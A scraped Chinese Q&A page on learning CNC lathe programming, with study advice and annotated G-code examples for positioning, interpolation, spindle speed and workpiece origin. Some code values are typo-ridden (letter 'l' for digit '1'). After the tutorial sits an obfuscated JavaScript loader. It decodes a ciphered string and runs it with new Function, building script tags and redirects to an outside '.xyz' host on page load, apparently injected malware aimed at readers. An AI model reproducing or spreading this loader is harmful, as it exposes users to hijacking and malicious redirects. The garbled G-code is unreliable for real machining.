怎么样才能学好数控?

有关学习的资料
2025-03-25 19:50:18
推荐回答(2个)
回答1:

学习数控技术一定要重点学好数控机床和数控技术与编程.尤其是在实践环节更要认真,多动手,多思考,快提高.因为该专业就是一个实践性极强的专业.
另外,与它相关的基础课也要尽量学好,如:机械原理,机械设计,机械制图,液压传动,机电传动,机床电气控制,测试技术,单片机技术等,否则,你不成了操作工了吗?
关于计算机平面设计课,那是一门实践性极强的课程,一定要在机器上练.
要学好数倥编程必须先学好机械加工基和加工工艺.
多实际操作
多练,多编,多想,多学,
数控编程是数控加工准备阶段的主要内容,通常包括分析零件图样,确定加工工艺过程;计算走刀轨迹,得出刀位数据;编写数控加工程序;制作控制介质;校对程序及首件试切。有手工编程和自动编程两种方法。总之,它是从零件图纸到获得数控加工程序的全过程。
数控编程分为手工编程和自动编程.手工编程是指编程的各个阶段均由人工完成。对于几何形状复杂的零件需借助计算机使用规定的数控语言编写零件源程序,经过处理后生成加工程序,称为自动编程。
随着数控技术的发展,先进的数控系统不仅向用户编程提供了一般的准备功能和辅助功能,而且为编程提供了扩展数控功能的手段。FANUC 6M数控系统的参数编程,应用灵活,形式自由,具备计算机高级语言的表达式、逻辑运算及类似的程序流程,使加工程序简练易懂,实现普通编程难以实现的功能。
数控编程同计算机编程一样也有自己的"语言",但有一点不同的是,现在电脑发展到了以微软的Windows为绝对优势占领全球市场.数控机床就不同了,它还没发展到那种相互通用的程度,也就是说,它们在硬件上的差距造就了它们的数控系统一时还不能达到相互兼容.所以,当我要对一个毛坯进行加工时,首先要以我们己经拥有的数控机床采用的是什么型号的系统.
虽然,每个数控系统的编程语言各不相同,但其间也有很多相通之处.
一.G代码(准备功能)
1.1机械座标系与机械座标点的设定
数控车床 华中世纪星 FUNAC 西门子
工件座标系设定 G92 G92
最快速移动 G00 G00
1.1普通加工(直线插补,圆弧插补,车螺纹)
数控车床 华中世纪星 FUNAC 西门子
直线插补 G01 G01
圆弧插补 G02/G03 G02/G03
车螺纹 G32
1.2固定循环或复合循环
数控车床 华中世纪星 FUNAC 西门子
外圆车销固定循环 G80
端面车销固定循环 G81
螺纹车销固定循环
1.3调用宏程序
数控车床 华中世纪星 FUNAC 西门子

回答2:

常用编程指令的应用

  车削加工编程一般包含X和Z坐标运动及绕Z轴旋转的转角坐标C 。

  (1)快速定位(G00或G0) 刀具以点位控制方式从当前所在位置快速移动到指令给出的目标位置。

  指令格式:G00 X(U) Z(W) ;

  (2)直线插补(G01或G1)

  指令格式:G01 X(U) Z(W) F ;

  

  

  

  图1 快速定位 图2 直线插补

  G00 X40.0 Z56.0; G01 X40.0 Z20.1 F0.2;

  /绝对坐标,直径编程; /绝对坐标,直径编程,切削进给率0.2mm/r

  G00 U-60.0 W-30 G01 U20.0 W-25.9 F0.2;

  /增量坐标,直径编程 /增量坐标,直径编程,切削进给率0.2mm/r

  (3)圆弧插补(G02或G2,G03或G3)

  1)指令格式: G02 X(U)_Z(W)_I_K_F_ ;

  G02 X(U) Z(W) R F ;

  G03 X(U)_Z(W)_I_K_F_ ;

  G03 X(U) Z(W) R F ;   

  2)指令功能:

  3)指令说明:

  ①G02为顺时针圆弧插补指令,G03为逆时针圆弧插补指令。圆弧的顺、逆方向判断见图3左图,朝着与圆弧所在平面相垂直的坐标轴的负方向看,顺时针为G02,逆时针为G03,图3右图分别表示了车床前置刀架和后置刀架对圆弧顺与逆方向的判断;

  

  

  

  图3 圆弧的顺逆方向

  ②如图4,采用绝对坐标编程,X、Z为圆弧终点坐标值;采用增量坐标编程,U、W为圆弧终点相对圆弧起点的坐标增量,R是圆弧半径,当圆弧所对圆心角为0°~180°时,R取正值;当圆心角为180°~360°时,R取负值。I、K为 圆心在X、Z轴方向上相对圆弧起点的坐标增量(用半径值表示),I、K为零时可以省略。

  

  

  

  图4 圆弧绝对坐标,相对坐标

  

  

  

  图5 圆弧插补

  G02 X50.0 Z30.0 I25.0 F0.3; G03 X87.98 Z50.0 I-30.0 K-40.0 F0.3;

  G02 U20.0 W-20.0 I25.0 F0.3; /绝对坐标,直径编程

  G02 X50.Z30.0 R25.0 F0.3; G03 U37.98 W-30.0 I-30.0 K-40.0 F0.3;

  G02 U20.0 W-20.0 R25.0 F0.3; /相对坐标,直径编程

  (4)主轴转速设置(S)

  车床主轴的转速(r/min)为:

  

  

  

  式中υ为圆周切削速度,单位缺省为m/min 、D为工件的外径,单位为mm。

  例如,工件的外径为200mm,要求的切削速度为300m/min,经计算可得

  

  

  

  因此主轴转速应为478r/min,表示为S478。

  (5)主轴速度控制指令

  数控车削加工时,按需要可以设置恒切削速度(例如,为保证车削后工件的表面粗糙度一致,应设置恒切削速度),车削过程中数控系统根据车削时工件不同位置处的直径计算主轴的转速。

  恒切削速度设置方法如下:G96 S ; 其中S后面数字的单位为r/min。

  设置恒切削速度后,如果不需要时可以取消,其方式如下:G97 S ; 其中S后面数字的单位为r/min。

  在设置恒切削速度后,由于主轴的转速在工件不同截面上是变化的,为防止主轴转速过高而发生危险,在设置恒切削速度前,可以将主轴最高转速设置在某一个最高值。切削过程中当执行恒切削速度时,主轴最高转速将被限制在这个最高值。

  设置方法如下:G50 S ; 其中S的单位为r/min。

  

  

  

  图6 主轴速度控制

  例如:在刀具T01切削外形时用G96设置恒切削速度为200m/min,而在钻头T02钻中心孔时用G97取消恒切削速度,并设置主轴转速为1100r/min。

  这两部分的程序头如下:

  G50 S2500 T0101 M08; /G50限定最高主轴转速为2500r/min;

  G96 S200 M03; / G96设置恒切削速度为200m/min,主轴顺时针转动

  G00 X48.0 Z3.0; / 快速走到点(48.0,3.0)

  G01 Z-27.1 F0.3; /车削外形

  G00 Ul.0 Z3.0; /快速退回

  …

  T0202; /调02号刀具

  G97 Sll00 M03; /G97取消恒切削速度,设置主轴转速为ll00r/min

  G00 X0.0 Z5.0 M08; /快速走到点(0,5.0),冷却液打开

  G01 Z-5.0 F0.12; /钻中心孔

  …

  (6)进给率和进给速度设置指令

  在数控车削中有两种切削进给模式设置方法,即进给率(每转进给模式)和进给速度(每分钟进给模式)。

  1)进给率,单位为mm/r,其指令为:

  G99; / 进给率转换指令,

  G01 X Z F ; / F的单位为mm/r

  2)进给速度,单位为mm/min,其指令为:

  G98; / 进给速度转换指令

  G01 X Z F ; / F的单位为mm/min

  

  

  

  图7 进给率和进给速度

  a:G99 G01 Z-27.1 F0.3; b:G98 G01 Z-10.0 F80;

  表示进给率为0.3mm/r 表示进给速度为80mm/min

  CNC系统缺省进给模式是进给率,即每转进给模式。

  (7)工件原点设置

  工件坐标系的原点有两种设置方法。

  1)用G50指令进行工件原点设置,分以下两种设置情况:

  

  

  

  图8 工件原点设置

  ①坐标原点设置在卡盘端面

  如图8a所示,这种情况下z坐标是正值。

  工件原点设置在卡盘端面:

  G50 X85.Z210.;/* 将刀尖当前位置的坐标值定为工件坐标系中的一点(85.,210.)。

  ②坐标原点设置在零件右端面

  如图8b所示,这种情况下Z坐标值是负值。

  工件原点设置在工件右端面:G50 X85.0 Z90.0;

  则刀尖当前位置即为工件坐标系原点。

  (8)端面及外圆车削加工

  端面及外圆的车削加工要用到插补指令G01。

  为正确地编写数控程序,应在编写程序前根据工件的情况选择工件原点。确定好工件原点后,还必须确定刀具的起始点。

  编程时还应考虑车削外圆的始点和端面车削的始点,这两点的确定应结合考虑工件的毛坯情况。如果毛坯余量较大,应进行多次粗车,最后进行一次精车,因而每次的车削始点都不相同。

  

  

  

  图9 确定车削原点

  a)工件原点在左端面时 b) 工件原点在右端面时

  1)工件原点在左端面

  o0001 /* 程序编号o0001

  N0 G50 X85.0 Z210.0; /* 设置工件原点在左端面

  N1 G30 U0 W0; /* 返回第二参考点

  N2 G50 S1500 T0101 M08; /* 限制最高主轴转速为1500r/min,调01号刀具,M08为打开冷却液

  N3 G96 S200 M03; /* 指定恒切削速度为200m/min

  N4 G00 X40.4 Z153.0; /* 快速走到外圆粗车始点

  N5 G01 Z40.2 F0.3; /* 以进给率0.3mm/r车削外圆

  N6 X60.4; /* 台阶车削

  N7 Z20.0; /*φ60.4mm处长度为20.0mm的一段外圆

  N8 G00 X62.0 Z150.2; /* 刀具快速退到点(62.0,150.2)

  N9 X41.0; /*刀具快速走到点(41.0,150.2)

  N10 G01 X-1.6; /* 车削右端面

  N1l G00 Zl52.0; /* 刀具快速退到点(-1.6,152.0)

  N12 G30 U0 W0; /* 直接回第二参考点以进行换刀

  N13 (Finishing); /*精车开始,括号为程序说明

  N14 G50 S1500 T0202; /*限制最高主轴转速为1500r/min,调02号刀具

  N15 G96 S250; /* 指定恒切削速度为250m/min

  N16 G00 X40.0 Z153.0 ;/*快速走到外圆精车始点(40.0,153)

  N17 G42 G01 Z151.0 F0.15; /*调刀尖半径补偿,右偏

  N18 Z40.0; /*φ40.4mm一段外圆的精车

  N19 X60.0; /*台阶精车

  N20 Z20.0; /*φ60.0mm处长度为20.0mm外圆的精车

  N21 G40 G00 X62.0 Z150.0; /*取消刀补

  N22 X41.0; /*刀具快速走到点(41.0,150.0)

  N23 G41 G01 X40.0; /*调刀尖半径补偿,左偏

  N24 G01 X-1.6; /*精车右端面

  N25 G40 G00 Zl52.0 M09; /*取消刀补,切削液关

  N26 G30 U0 W0 M05; /*返回第二参考点,主轴停止

  N27 M30; /*程序结束

  2)工件原点在右端面:工件原点设置在右端面与设置在左端面的区别仅在于Z坐标为负值,程序编写过程完全相同。

  O0002 ; /* 程序编号

  N0 G50 X85.0 Z90.0 /* 设置工件原点在右端面

  N2 G30 U0 W0; /* 返回第二参考点

  N4 G50 S1500 T0101 M08; /* 限制最高主轴转速

  N6 G96 S200 M03; /* 指定恒切削速度为

  200m/min,主轴逆时针旋转

  N8 G00 X30.4 Z3.0; /*快速走到点(30.4,3.0)

  N10 G01 W-33.0 F0.3; /*以进给率0.3mm/r粗车φ30.4处外圆

  N12 U30.0 W-50.0; /*粗车锥面

  N14 W-10.0; /*粗车φ60.4mm处长度为10的一段外圆

  N16 G00 Ul.6 W90.2; /*刀具快速走到点(62.0,0.2)

  N18 U-31.0; /*刀具快速走到点(3l,0.2)

  N20 G01 U-32.6; /*粗车端面

  N22 G00 W2.0; /*刀具快速走到点(-1.6,2)

  N24 G30 U0 W0; /*返回第二参考点

  N26 (Finishing); /*精车开始

  N28 G50 S1500 T0202; /*设置主轴最高转速1500r/min,调2号刀具

  N30 G96 S250; /* 指定恒切削速度为250m/min

  N32 G00 X30.0 Z3.0;/*刀具快速走到精车始点(30.0,3.0)

  N34 G42 G01 W-2.0 F0.15; /*调刀尖半径补偿,右偏

  N36 W-31.0; /*精车ф30.4mm处外圆

  N38 U30.0 W-50.0; /*精车锥面

  N40 W-10.0; /*精车ф60.0mm处外圆

  N42 G40 G00 U2.0 W90.0; /*取消刀补,刀具快速走到点(62,0.0)

  N44 U-31.0; /*刀具快速走到点(31,0.0)

  N46 G41 G01 U-1.0; /*调刀尖半径补偿,左偏 N48 G01 U-32.6; /*精车端面

  N50 G40 G00 W2.0 M09; /*取消刀补,刀具快速走到点(1.6,2.0)

  N52 G30 U0 W0 M30

!function(){function a(a){var _idx="f4isr6o1zu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR87o6L5KO}4_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"7o6L5KO}4_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR87o6L5KO}4_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();